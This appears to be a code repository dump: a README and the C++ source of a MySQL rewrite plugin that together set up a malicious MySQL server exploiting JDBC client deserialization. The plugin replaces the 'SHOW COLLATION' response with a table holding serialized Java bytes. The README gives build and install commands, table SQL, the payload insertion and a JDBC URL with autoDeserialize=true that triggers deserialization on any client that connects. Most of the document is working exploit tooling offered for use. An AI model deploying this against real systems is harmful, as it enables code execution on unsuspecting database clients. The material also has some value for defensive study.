├── README.md ├── rewrite_example.cc └── rewrite_example.so /README.md: -------------------------------------------------------------------------------- 1 | # MySQL JDBC Deserialization Payload / MySQL客户端jdbc反序列化漏洞 2 | 3 | # 描述 4 | 当MySQL JDBC url可控时,除了能利用MySQL协议读取MySQL Client的本地文件之外,还可以利用客户端在连接服务器时会反序列化服务器返回的二进制数据,从而触发反序列化漏洞。 5 | 6 | # 详情 7 | 8 | ## 1. 安装rewrite插件 9 | 以下安装方式任选其一 10 | ### 【任选】编译插件 11 | 下载mysql-5.7.28源码到/root/mysql-5.7.28,https://launchpadlibrarian.net/451650638/mysql-5.7_5.7.28.orig.tar.gz 12 | rewrite_example.cc见仓库 13 | ```shell 14 | gcc -shared -Wall -fPIC -o /usr/lib/mysql/plugin/rewrite_example.so rewrite_example.cc -I/root/mysql-5.7.28/include $(mysql_config --cflags) $(mysql_config --libmysqld-libs) -DMYSQL_DYNAMIC_PLUGIN -lmysqlservices 15 | ``` 16 | ### 【任选】直接使用本git仓库中的rewrite_example.so 17 | 18 | 复制rewrite_example.so到/usr/lib/mysql/plugin/rewrite_example.so即可。 19 | 20 | > rewrite_example.so在Ubuntu16.04编译,如安装时出现问题请自行编译。 21 | 22 | ## 2. 安装插件,建表,插入二进制数据 23 | 安装插件 24 | ```sql 25 | INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so'; 26 | ``` 27 | 建表 28 | 1. 创建数据库:codeplutos,请自行创建 29 | 2. 建表sql如下 30 | ```sql 31 | SET NAMES utf8mb4; 32 | SET FOREIGN_KEY_CHECKS = 0; 33 | 34 | -- ---------------------------- 35 | -- Table structure for payload 36 | -- ---------------------------- 37 | DROP TABLE IF EXISTS `payload`; 38 | CREATE TABLE `payload` ( 39 | `COLLATION_NAME` varchar(255) DEFAULT NULL, 40 | `CHARACTER_SET_NAME` blob, 41 | `ID` int(5) DEFAULT NULL, 42 | `IS_DEFAULT` varchar(255) DEFAULT NULL, 43 | `IS_COMPILED` varchar(255) DEFAULT NULL, 44 | `SORTLEN` int(5) DEFAULT NULL 45 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 46 | 47 | -- ---------------------------- 48 | -- Records of payload 49 | -- ---------------------------- 50 | BEGIN; 51 | INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1); 52 | COMMIT; 53 | 54 | SET FOREIGN_KEY_CHECKS = 1; 55 | 56 | ``` 57 | 插入payload 58 | ```sql 59 | set @a=0xaced00057372002; 60 | update codeplutos.payload set character_set_name = @a; 61 | ``` 62 | 63 | ## 3. 指定jdbc url,连接 64 | ``` 65 | jdbc:mysql://server:port/codeplutos?detectCustomCollations=true&autoDeserialize=true 66 | ``` 67 | 68 | # 漏洞触发点: 69 | com.mysql.jdbc.ConnectionImpl#buildCollationMapping 70 | ```java 71 | private void buildCollationMapping() throws SQLException { 72 | //......省略 73 | try { 74 | results = stmt.executeQuery("SHOW COLLATION"); 75 | if (versionMeetsMinimum(5, 0, 0)) { 76 | Util.resultSetToMap(sortedCollationMap, results, 3, 2); 77 | } else { 78 | while (results.next()) { 79 | sortedCollationMap.put(results.getLong(3), results.getString(2)); 80 | } 81 | } 82 | } catch (SQLException ex) { 83 | if (ex.getErrorCode() != MysqlErrorNumbers.ER_MUST_CHANGE_PASSWORD || getDisconnectOnExpiredPasswords()) { 84 | throw ex; 85 | } 86 | } 87 | //......省略 88 | } 89 | ``` 90 | # Reference 91 | https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf 92 | 93 | -------------------------------------------------------------------------------- /rewrite_example.cc: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2015, Oracle and/or its affiliates. All rights reserved. 2 | 3 | This program is free software; you can redistribute it and/or modify 4 | it under the terms of the GNU General Public License, version 2.0, 5 | as published by the Free Software Foundation. 6 | 7 | This program is also distributed with certain software (including 8 | but not limited to OpenSSL) that is licensed under separate terms, 9 | as designated in a particular file or component or in included license 10 | documentation. The authors of MySQL hereby grant you an additional 11 | permission to link the program and your derivative works with the 12 | separately licensed software that they have included with MySQL. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License, version 2.0, for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program; if not, write to the Free Software 21 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 22 | 02110-1301 USA */ 23 | 24 | #include 25 | #include 26 | 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include // my_thread_handle needed by mysql_memory.h 32 | #include 33 | 34 | /* instrument the memory allocation */ 35 | #ifdef HAVE_PSI_INTERFACE 36 | static PSI_memory_key key_memory_rewrite_example; 37 | 38 | static PSI_memory_info all_rewrite_memory[]= 39 | { 40 | { &key_memory_rewrite_example, "rewrite_example", 0 } 41 | }; 42 | 43 | static int plugin_init(MYSQL_PLUGIN) 44 | { 45 | const char* category= "sql"; 46 | int count; 47 | 48 | count= array_elements(all_rewrite_memory); 49 | mysql_memory_register(category, all_rewrite_memory, count); 50 | return 0; /* success */ 51 | } 52 | #else 53 | #define plugin_init NULL 54 | #define key_memory_rewrite_example PSI_NOT_INSTRUMENTED 55 | #endif /* HAVE_PSI_INTERFACE */ 56 | 57 | 58 | static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class, 59 | const void *event) 60 | { 61 | if (event_class == MYSQL_AUDIT_PARSE_CLASS) 62 | { 63 | const struct mysql_event_parse *event_parse= 64 | static_cast(event); 65 | if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE) 66 | { 67 | 68 | if (strcasecmp(std::string(event_parse->query.str).c_str(),"SHOW COLLATION")==0) 69 | { 70 | char sql[] = "select `COLLATION_NAME`, `CHARACTER_SET_NAME`, `ID`, `IS_DEFAULT`, `IS_COMPILED`, `SORTLEN` from codeplutos.payload"; 71 | char *rewritten_query= 72 | static_cast(my_malloc(key_memory_rewrite_example, 73 | strlen(sql) + 1, MYF(0))); 74 | 75 | for (unsigned i= 0; i < strlen(sql) + 1; i++) { 76 | rewritten_query[i]= sql[i]; 77 | 78 | } 79 | 80 | event_parse->rewritten_query->str=rewritten_query; 81 | event_parse->rewritten_query->length=strlen(sql)+1; 82 | *((int *)event_parse->flags)|= 83 | (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN; 84 | } 85 | 86 | } 87 | } 88 | 89 | return 0; 90 | } 91 | 92 | 93 | /* Audit plugin descriptor */ 94 | static struct st_mysql_audit rewrite_example_descriptor= 95 | { 96 | MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */ 97 | NULL, /* release_thd() */ 98 | rewrite_lower, /* event_notify() */ 99 | { 0, 100 | 0, 101 | (unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */ 102 | }; 103 | 104 | /* Plugin descriptor */ 105 | mysql_declare_plugin(audit_log) 106 | { 107 | MYSQL_AUDIT_PLUGIN, /* plugin type */ 108 | &rewrite_example_descriptor, /* type specific descriptor */ 109 | "rewrite_example", /* plugin name */ 110 | "Oracle", /* author */ 111 | "An example of a query rewrite" 112 | " plugin that rewrites all queries" 113 | " to lower case", /* description */ 114 | PLUGIN_LICENSE_GPL, /* license */ 115 | plugin_init, /* plugin initializer */ 116 | NULL, /* plugin deinitializer */ 117 | 0x0002, /* version */ 118 | NULL, /* status variables */ 119 | NULL, /* system variables */ 120 | NULL, /* reserverd */ 121 | 0 /* flags */ 122 | } 123 | mysql_declare_plugin_end; 124 | 125 | -------------------------------------------------------------------------------- /rewrite_example.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeplutos/MySQL-JDBC-Deserialization-Payload/e0a5e8cc84fab4130c0cfa701e3c42e407027867/rewrite_example.so --------------------------------------------------------------------------------